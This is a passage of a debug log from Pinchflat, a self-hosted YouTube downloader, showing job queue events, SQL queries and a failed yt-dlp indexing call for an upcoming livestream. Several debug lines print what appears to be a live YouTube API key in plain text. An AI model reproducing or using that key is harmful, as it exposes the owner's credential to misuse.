m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [28] 17:15:45.948 [debug] QUERY OK source="tasks" db=0.6ms idle=195.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268433, 28, ~U[2026-10-09 22:15:45Z], ~U[2026-10-09 22:15:45Z]] 17:15:45.948 [info] {"args":{"id":28},"id":5268394,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":201201,"event":"job:stop","queue_time":515987,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:15:46.748 [info] {"args":{"id":20},"id":5268395,"meta":{},"system_time":1791584146748263259,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:15:46.748 [debug] QUERY OK source="sources" db=0.1ms idle=799.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [20] 17:15:46.748 [debug] QUERY OK source="settings" db=0.0ms idle=799.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:46.748 [debug] QUERY OK source="media_profiles" db=0.0ms idle=793.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:15:46.749 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:46.749 [debug] Fetching recent media IDs from YouTube API for playlist: UU2J-0g_nxlwcD9JBK1eTleQ 17:15:46.749 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:46.749 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:15:46.890 [debug] QUERY OK source="media_items" db=0.6ms idle=140.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [20, "YcXxJviqQfE", "g6VmtRtHMeA", "zCj1ZKCgdoI", "YBTfuph1cdE", "ryRdagoZR88", "zD0WRwU4AqE", "GB6lntnVi4A", "QQ97R1nhq4M", "5C60QMnLtX8", "-l28H03fnKk", "FefIWhfl5Lg", "d0t7wpkFc6U", "clsbuM6uf1A", "6Reu1WS3BhM", "bYw5GAzP2Ds", "KY_4oUIG_z8", "4-eB-n5NYRs", "9s69aThM7rA", "Gs5r8iGPjSg", "We-lvUeRGb0", "8JhH6UO_pRY", "fOwC95ZXh08", "i4eCZ6dLVrg", "h_NEOIwrG-E", "1q-hpaepgk0", "cAmEAgNc0eY", "EfReqcUJfBU", "46tvrNZFxjQ", "MnjNgtPr3v0", "DqBOTn6RiKE", "Eten26XKTv4", "sdSusCDZcDg", "_Ma4fV7ajak", "bfeb6AS7efA", "NzCJGD3XMm4", "sI4y8jDO6kc", "2OvyyVxQjuI", "GUFPw25D0XM", "llRut0MpjfU", "n_wbyAf0Sfs", "U5P5WgYhz9Q", "LvTo1PSlDkc", "HcvF3XFlHeM", "xvnYl9yyxY8", "2E4neC3OBtg", "SzQQMElyhzo", "LckcXDqLtVA", "wDzi0-S9Bpo", "5CIJ_zk7DR4", ...] 17:15:46.891 [debug] QUERY OK source="media_items" db=0.4ms idle=141.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [20] 17:15:46.891 [debug] QUERY OK source="tasks" db=0.1ms idle=142.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268434, 20, ~U[2026-10-09 22:15:46Z], ~U[2026-10-09 22:15:46Z]] 17:15:47.445 [info] {"args":{"id":20},"id":5268395,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":143582,"event":"job:stop","queue_time":470581,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:15:47.470 [info] {"args":{"id":43},"id":5268396,"meta":{},"system_time":1791584147470024727,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:15:47.470 [debug] QUERY OK source="sources" db=0.1ms idle=578.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [43] 17:15:47.470 [debug] QUERY OK source="settings" db=0.0ms idle=578.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:47.470 [debug] QUERY OK source="media_profiles" db=0.1ms idle=578.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:15:47.470 [debug] QUERY OK source="settings" db=0.0ms idle=25.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:47.470 [debug] Fetching recent media IDs from YouTube API for playlist: UUxkM67T_Iele-mRVUiBkRqg 17:15:47.471 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:47.471 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:15:47.723 [debug] QUERY OK source="media_items" db=0.5ms idle=252.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [43, "31b669NGSbU", "xBJ3EvFzHRk", "UTigBRy4EWA", "u_lWztXd9jw", "uzr_gkc81SQ", "CSksN3XLepQ", "Lhx1j6FShA8", "lPPCjg79EyI", "M3GPI3jShKQ", "QhEWeDT_9gI", "om8wrIN7I5g", "pW4N8ppO5sU", "T42aB4OghFc", "ozik7Ba4gkU", "9lbfqrKKOyA", "86OoMc0NWfM", "KiVx5j9C9Mc", "76C3VtR2NYQ", "eEEPdEY0zic", "pxfnSX8C3aQ", "hkJUk6Lak_I", "X5mw5v9tius", "QUGHPuUU5FA", "CNomQhGnaMU", "i2ZTeoIKaw0", "BoFkqiBBWz8", "-uQ5c-gl89A", "AujUIY2N0Kw", "Ts6SW099X08", "yiNoK1oj4SI", "giE5-sKMa4Q", "K3D6FMrT7Lk", "AHRE7etgEEs", "orKC0kNQjzQ", "mXCNpEOyHSk", "wQQ9FOdzWGE", "80nShpfG3a4", "QbXzfSn-jP4", "L0TcqR55ihA", "GcGTofZU2i4", "C4w4jl4ODAk", "2AriH2BNp4E", "3frxUw8OrG0", "KdKZA74hhJg", "eZVun8Iwq4U", "YKNWFGYQrrk", "NyTKzFzm7AE", "Zftv6Kh2zi4", "gHz9q2oiL1Y", ...] 17:15:47.724 [debug] QUERY OK source="media_items" db=0.3ms idle=253.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [43] 17:15:47.725 [debug] QUERY OK source="tasks" db=0.1ms idle=253.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268435, 43, ~U[2026-10-09 22:15:47Z], ~U[2026-10-09 22:15:47Z]] 17:15:47.725 [info] {"args":{"id":43},"id":5268396,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":255103,"event":"job:stop","queue_time":961102,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:15:47.749 [info] {"args":{"id":23},"id":5268397,"meta":{},"system_time":1791584147749179818,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:15:47.749 [debug] QUERY OK source="sources" db=0.1ms idle=24.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [23] 17:15:47.749 [debug] QUERY OK source="settings" db=0.1ms idle=24.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:47.749 [debug] QUERY OK source="media_profiles" db=0.1ms idle=18.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:15:47.750 [debug] QUERY OK source="settings" db=0.0ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:47.750 [debug] Fetching recent media IDs from YouTube API for playlist: UU0e3QhIYukixgh5VVpKHH9Q 17:15:47.750 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:15:47.750 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:15:47.954 [debug] QUERY OK source="media_items" db=0.6ms idle=204.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [23, "F3BGWNuVMUE", "zy-ZowzY8rI", "iPqkxKao6Bk", "0EVEzVz1iTY", "kWFOeEB1qcI", "oLF_mxPfL0I", "2YdPIB7wVFk", "ehAStJmx_Fo", "wesICmc48UE", "t92i8HsHKmA", "AhqqnIvtCiw", "bt8BwJs2JWI", "EFaqLSDJh-s", "SCUu4xlZZgc", "8VrI0j3jXJ8", "QnMxWMpUpTo", "k2wddOfXMqY", "serCiKj8ze8", "eX8gUvcWwDc", "GfPmOqlxGfk", "eouZtZL_59U", "S_-YdPM_iiQ", "HbrC4U3oN38", "1f-rdFBrQE0", "rba0WnXY3_w", "hEapzP-_QlM", "AGO8Tn0g0qQ", "WYMAL4Ch6oQ", "25ctC3HDSnM", "CI8fbAiug3k", "I7vOcJcCSso", "RtzS0T6toww", "sWZJ6kRNw4g", "djIufZ7Fyms", "tn_SdPx3nyE", "QbwgQSwMSGM", "JPv5FWCYdXc", "g39AagVW0s0", "HMKKPMSuo08", "ZpsJkhk9uBM", "jIseIpxnKUM", "XzJ2qK5DX18", "a7mNUTslJNA", "ovIykchkW5I", "9amJuvb3grU", "qvpXpCvkqbc", "DmQ4Dqxs0HI", "ldaescGA1dY", "kzEHFuVeYS4", ...] 17:15:47.955 [debug] QUERY OK source="media_items" db=0.2ms idle=205.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [23] 17:15:47.956 [debug] QUERY OK source="tasks" db=0.1ms idle=205.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268436, 23, ~U[2026-10-09 22:15:47Z], ~U[2026-10-09 22:15:47Z]] 17:15:47.956 [info] {"args":{"id":23},"id":5268397,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":207125,"event":"job:stop","queue_time":446989,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:16:00.441 [info] {"source":"oban","duration":160,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:16:15.633 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b4CKcXNSNRc --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/c3/fc/c3fcb5bc589b6541023338d00a094fbf8970078519c0d8714ad4474ac8a6f479.json --sleep-requests 64 --sleep-interval 61 --sleep-subtitles 80 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] b4CKcXNSNRc: This live event will begin in a few moments. 17:16:15.633 [error] Error creating media item 'b4CKcXNSNRc' from URL: {:error, "ERROR: [youtube] b4CKcXNSNRc: This live event will begin in a few moments.\n", 1} 17:16:15.633 [debug] QUERY OK source="media_items" db=0.4ms idle=1286.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [19] 17:16:15.634 [debug] QUERY OK source="tasks" db=0.1ms idle=287.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268437, 19, ~U[2026-10-09 22:16:15Z], ~U[2026-10-09 22:16:15Z]] 17:16:15.634 [info] {"args":{"id":19},"id":5268372,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":129994490,"event":"job:stop","queue_time":738882,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:16:15.762 [info] {"source":"oban","duration":9768,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:16:45.772 [info] {"source":"oban","duration":9706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:17:00.443 [info] {"source":"oban","duration":184,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:17:15.782 [info] {"source":"oban","duration":9795,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 17:17:30.857 [info] {"args":{"id":36},"id":5268398,"meta":{},"system_time":1791584250857147122,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:30.857 [debug] QUERY OK source="sources" db=0.1ms idle=1510.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 17:17:30.858 [debug] QUERY OK source="settings" db=0.5ms idle=1510.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:30.858 [debug] 